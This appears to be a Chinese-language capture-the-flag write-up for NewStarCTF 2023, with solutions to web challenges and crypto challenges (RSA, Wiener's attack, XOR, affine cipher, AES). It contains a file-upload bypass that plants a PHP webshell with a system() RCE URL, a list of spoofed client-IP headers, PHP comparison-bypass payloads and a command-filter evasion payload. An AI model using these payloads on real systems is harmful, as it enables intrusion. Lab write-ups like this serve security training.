www.zip
打开源码 找到限制是在前端
我们抓包 上传正常后缀的文件 比如jpg结尾
但是这样传上去服务器是无法解析的
所以我们进行抓包 然后在bp中修改后缀名
将我们上传的后缀jpg在请求包中改为php 服务器就可以解析我们的语句了
一句话木马:
然后进入到我们上传的这个文件中就可以rce啦
http://13878733-90ba-4e0c-9a0a-4ce861aaa1bf.node4.buuoj.cn:81/upload/aaa_b.php?b=system(%27cat%20/fllll4g%27);
python中flask启的框架
输入非法字符,报错
在报错中找到源代码
POST /?ctf=ctfer HTTP/1.1
Host: node4.buuoj.cn:27705
//设置发起请求的浏览器
User-Agent: NewStarCTF2023
//设置只有本地用户才能访问 知识扩展 这些都可以用
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
//设置发起访问请求的网址
Referer: newstarctf.com
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://node4.buuoj.cn:27705
Connection: close
Cookie: track_uuid=b0378d4d-bdbe-4b92-d3d9-4e70dceeaff3; power=ctfer
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
secret=n3wst4rCTF2023g00000d
源码开套:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=
";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=
";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=
";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=
";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=
";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
首先进入第一关:
利用数组特性绕过if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2']))
因为md5不能对数组进行加密,所以设置数据类型均为数组的时候就会全部返回null,使得两值相等
payload:?key1[]=11&key2[]=22
第二关:
同理,数组绕过,返回值均为null 相等
第三关:
strcmp漏洞 如果输入错误数据类型无法比较报错,执行的结果也是返回0
所以使用数组报错
第四关:
is_numeric
字符串绕过2024a
同样使用数组绕过对数字的验证
第五关:
高度重视两个函数:
extract
: 给设定的变量赋值
foreach
: 遍历键值对中的值
我们传的值只要设置为符号就可以绕过foreach中的匹配,但是当我们成功绕过我们发现,啊咋多了个flag5
这也没有之前的设置啊
然后查询了一些extract函数
发现其赋值的特性,所以在post中对flag5给个初始值就行,默认为true。
首先是md5的绕过 这个密码比较特殊 网上一搜就有了 114514
这里一般使用python来爆破(当时偷懒了直接网上搜的
import hashlib
def crack(pre):
for i in range(0,999999):
if(hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6] == str(pre):
print(i)
break
crack("c4d038")
然后就可以进行rce了
过滤了好多: if(!preg_match("/flag|system|pass|cat|ls/i",$code))
使用exec代替system
使用tac代替cat
使用通配符* 代替flag
payload:password=114514&e[v.a.l=echo(exec('tac /f*'));
在传参的时候 变量名会将不合法的字符转化为下划线 只会转换一次 其中不合法字符包括[
和 .
所以让第一个转换为下划线 后面的点号就不会被改变
避大坑:一定要加一个echo!!!!一开始忘记让它回显了555 也可以var_dump()
法二:
var_dump(file_get_contents($_POST['_']))$_=
有注册界面 先尝试一下普通用户进去的样子 否则注册界面写出来就没有什么意义了
在交互模式中退出方法ctrl+c
或者 ctrl+d
在bin目录中一般存放的是可执行命令
退出之后我们思考为什么一进来就是在chat程序中 肯定是前面有人输入其他命令了嘛
我们点击向上键 可以看到内容
但是个人感觉没什么大用哈哈
还是得爆破密码
在bp中跑一下 admin的密码是000000
首先yafu分解得到10个素数
import gmpy2
from Crypto.Util.number import *
e = 65537
n = 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
P = [2217990919
,4278428893
, 2804303069
, 3654864131
, 2923072267
, 2338725373
, 2706073949
, 2970591037
, 2370292207
, 2463878387
, 3939901243
, 2794985117
, 3207148519
, 4093178561
, 3831680819]
phi = 1
for i in range(len(P)):
phi *= P[i]-1
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#b'flag{us4_s1ge_t0_cal_phI}'
还是推荐:https://www.guballa.de/vigenere-solver
然后对于题目中的描述 我搜了一些是法语:不可破译的语言
那么我们在破解的时候选择French
此外想补充一下可以根据开头密文和部分已知明文flag进行匹配推测密钥
源码:
from secret import flag
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)
c = pow(m,e,n)
print(c)
print(e)
print(n)
# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
下面是直接调用的板子:
import gmpy2
from Crypto.Util.number import *
# numerator(n):分子, denominator(d):分母
def t_cf(n, d): # 将分数 x/y 转为连分数的形式
res = []
while d:
res.append(n // d)
n, d = d, n % d
return res
def cf(sub_res): # 得到渐进分数的分母和分子
n, d = 1, 0
for i in sub_res[::-1]: # 从后面往前循环
d, n = n, i * n + d
return d, n
def list_fraction(x, y): # 列出每个渐进分数
res = t_cf(x, y)
res = list(map(cf, (res[0:i] for i in range(1, len(res))))) # 将连分数的结果逐一截取以求渐进分数
return res
def get_pq(a, b, c): # 由p+q和pq的值通过维达定理来求解p和q(解二元一次方程)
par = gmpy2.isqrt(b * b - 4 * a * c) # 由上述可得,开根号一定是整数,因为有解
x1, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a)
return x1, x2
def wienerAttack(e, n):
print(2)
for (d, k) in list_fraction(e, n): # 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
if k == 0: # 可能会出现连分数的第一个为0的情况,排除
continue
if (e * d - 1) % k != 0: # ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
continue
phi = (e * d - 1) // k # 这个结果就是 φ(n)
px, qy = get_pq(1, n - phi + 1, n)
if px * qy == n:
p, q = abs(int(px)), abs(int(qy)) # 可能会得到两个负数,负负得正未尝不会出现
d = gmpy2.invert(e, (p - 1) * (q - 1)) # 求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
return d
print("求解d失败")
print(1)
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
d = wienerAttack(e, n)
print(d)
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
m = pow(c,d,n)
print(long_to_bytes(m))
Wiener攻击学习:
需要学习连分数相关知识 Michael J.Wiener的论文
参考:https://cryptohack.gitbook.io/cryptobook/untitled/low-private-component-attacks/wieners-attack
使用wiener攻击的前提条件
获得d的原理:
ed = 1 mod phi(n)
即有 ed = k phi(n) + 1
又因为phi(n) = (p-1)(q-1) = pq - (p+q) + 1 约等于 pq = n
此外在ed式子中1所占值太小 可以忽略
即有ed = kn
=> e n = k d \frac{e}{n}=\frac{k}{d} ne=dk
因为e和n已知 利用连分数的展开方法去尝试爆破d的值
那么连分数又是什么 又该如何获得连分数呢?
首先我们对== 43 19 \frac{43}{19} 1943==进行连分数展开
需要把分数部分的分子转化为1
如果对 1 4 \frac{1}{4} 41 再进行转化的话余数为0 所以展开到此结束
那么如此繁琐的算法 我们解题的时候肯定不能手算吧 所以一种方法是上面我们自己写代码实现这种算法 基于欧几里得思想 遇到余数为0停止
另一种稍微简单的方法是直接使用sagemath 因为这里面的函数自带解连分数的功能
#sage
e=43
n=19
cf = continued_fraction(e/n)
print(cf)
convergents = cf.convergents()
print(convergents)
#[2; 3, 1, 4]
#[2, 7/3, 9/4, 43/19]
转换为分数的形式 每一次都是抛弃套娃的最后一次计算 比如第二次就是为 2 + 1 3 \frac{1}{3} 31 = 7 3 \frac{7}{3} 37
同理带入到我们要解决的问题中 我们想要获得的k和d 就存在这其中一次的结果中
所以对每组进行尝试即可
简易版exp:
#sage
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
cf = continued_fraction(e/n)
# print(cf)
convergents = cf.convergents()
# print(convergents)
reald = 1
for kd in convergents:
k = kd.numerator() #获取分子
d = kd.denominator() #获取分母
if pow(2,e*d,n) == 2: #判断我们的d能否在这个加密体系中对2加密之后成功还原为2 还原成功则证明解密正确
reald = d
print(d)
break
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
from Crypto.Util.number import *
print(long_to_bytes(int(pow(c,d,n))))
#2357048593
#b'flag{learn_some_continued_fraction_technique#dc16885c}'
源码:
from secret import *
ciphertext = []
for f in flag:
ciphertext.append(f ^ key)
print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2
真服 一个简单的异或把我难住了 去cryptohack怒刷xor题目
flag = "e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
flag = bytes.fromhex(flag)
from pwn import xor
#相当于对key进行暴力猜测
for i in range(256):
if b'f' or b'F' in xor(flag,i):
print(xor(flag,i))
#flag{x0r_15_symm3try_and_e4zy!!!!!!}
源码:
from flag import flag, key
modulus = 256
ciphertext = []
for f in flag:
ciphertext.append((key[0]*f + key[1]) % modulus)
print(bytes(ciphertext).hex())
# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064
很明显在加密程序中存在两个位置量 key[0] 和 key[1] 作为密钥a和b
其实仿射密码的本质还是解方程得到a和b
关于仿射密码参考:https://blog.csdn.net/jayq1/article/details/130474510?spm=1001.2014.3001.5501
利用部分已知明文flag{*****}
获得a和b的值
注意避坑!!!!
使用f和l这两个已知字符无法合适求解 一定要灵活 整体往后取一位用l和a求解就好了
完整exp:
import gmpy2
#key = '****CENSORED***************' #密钥 censored 被遮盖
flag = 'flag{*******CENSORED********}' #部分明文
data = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064" #密文待解密
encrypted = bytes.fromhex(data)
# encrypted = data
# print(encrypted)
plaindelta = ord(flag[2]) - ord(flag[1])
print(plaindelta)
cipherdalte = encrypted[2] - encrypted[1]
print(cipherdalte)
modulus = 256
a = gmpy2.invert(plaindelta, modulus) * cipherdalte % modulus
b = (encrypted[1] - a * ord(flag[1])) % modulus
print(a,b)
# a = 17
# b = 23
a_inv = gmpy2.invert(a, modulus)
result = ""
for c in encrypted:
result += chr((c - b) * a_inv % modulus)
print(result)
#flag{4ff1ne_c1pher_i5_very_3azy}
#------------------算法解释--------------------------
# #对密文进行操作
# # range(0,len(cip),2):生成一个从 0 开始、以 2 为步长、不超过 data 长度的整数序列。这个序列中的每一个整数 i,都是 data 中两个字符的起始位置。
# # data[i:i+2]:对于这个序列中的每一个整数 i,取 data 中从 i 开始、长度为 2 的子串。这样就可以把 data 中的所有字符两两分组。
# # int(data[i:i+2],16):对于这个子串,使用 int 函数将其转换为一个 16 进制的整数。
# # for i in range(0,len(data),2):将上述操作应用到 range 函数生成的整数序列中的每一个整数 i,得到一个整数列表。
# # 最终的结果就是 encrypted 列表,它包含了 data 中所有字符两两分组后转换成的 16 进制整数。例如,如果 data 是字符串 "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9",则 encrypted 是一个整数列表,它的值为 [128, 94, 237, 128, 203, 188, 185, 76, 195, 100, 19, 39, 87, 128, 236, 148, 168, 87, 223, 236, 141, 168, 202, 148, 168, 195, 19, 168, 204, 249]。
# #去计算密钥key
# print(encrypted[0])
# plaindelta = (ord(flag[1]) - ord(flag[0])) #提取部分已知明文
# cipherdalte = (encrypted[1] - encrypted[0]) #提取已知密文
# print(cipherdalte)
# #原来的加密公式
# #y1 = (a * x1 + b) (mod 256)
# #y2 = (a * x2 + b) (mod 256)
# #故有
# #y1 - y2 = a*(x1-x2)(mod 256)
# #想要求a
# #即为
# #plaindelta = x1-x2
# #cipherdalta = y1-y2
# #cipherdalte = a * plaindelta(mod 256) !!取模只是让最后的结果在0~251范围之间!!
# #计算公式中的a,引入初等数论里面的内容
# #ci = a * p % 256
# #ci / p = a % 256
# #在初等数论中 除相当于乘逆元
# #故 ci * invert(p,256)= a (% 256)
# #所以%251只是一个对于整体结果的一个限制,在公式推到的时候可以忽略存在
# a = gmpy2.invert(plaindelta, 257) * cipherdalte %256 #数据全部放在0~251之间
# #通过a计算b
# b = (encrypted[0] - a * ord(flag[0])) %256 #数据全部放在0~251之间
# a_inv = gmpy2.invert(a, 257)
# result = ""
# for c in encrypted:
# result += chr(((c-b) * a_inv) % 256)
# print(result)
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ= flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S
前两部分赛博厨子直接出
最后一个部分采用Unencode编码 去使用bugku的工具https://ctf.bugku.com/tools
emm怎么讲嘞 虽然这个题叫做aes 但是真实的考点还是想考查大家的异或能力
附上源码:
from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *
def pad(data):
return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])
def main():
flag_ = pad(flag)
key = os.urandom(16) * 2 #32字节
iv = os.urandom(16) #16字节
print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.encrypt(flag_)
print(enc_flag)
if __name__ == "__main__":
main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
先带大家分析一下这个题目啊,首先是因为要进行cbc的块加密模式嘛,所以把flag进行pad操作,如果不满足16位就在后面填充\x00
然后获得key和iv:
key
: 随机生成加密的16个字节 重复2次 拼接
iv
: 随机生成加密的16个字节
然后利用到异或的知识对泄露的内容进行利用:
首先将泄露的数据与1异或 就会得到key和iv的异或值
然后我们在编码体系中看一下bytes_to_long
和 long_to_bytes
函数的实现方法
都是针对单一字节独自操作的 就是对整体没有影响
然后我们写一个小demo测试一下当两个不等位的数据进行异或的对齐方式:
test1 = 0b1110011
test2 = 0b11
# print(bin(test1 ^ test2))
#0b1110000 #结果显示是低位对齐进行异或
所以key和iv进行异或 因为key是iv的两倍 所以对于key的高16位字节没有影响
所以我们就可以直接得到key的组成:
key = long_to_bytes(data)[:16]*2
然后将key ^ (key ^ iv) = iv
完整exp:
import os
from Crypto.Util.number import *
from Crypto.Cipher import AES
data = 3657491768215750635844958060963805125333761387746954618540958489914964573229
data = data ^ 1
key = long_to_bytes(data)[:16]*2
iv = bytes_to_long(key) ^ data
iv = long_to_bytes(iv)
aes = AES.new(key, AES.MODE_CBC, iv)
c = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
dec_flag = aes.decrypt(c)
print(len(key),len(iv))
print("flag=",dec_flag)
#flag= b'firsT_cry_Aes\x00\x00\x00'
我是哈皮,祝您每天嗨皮!我们下期再见~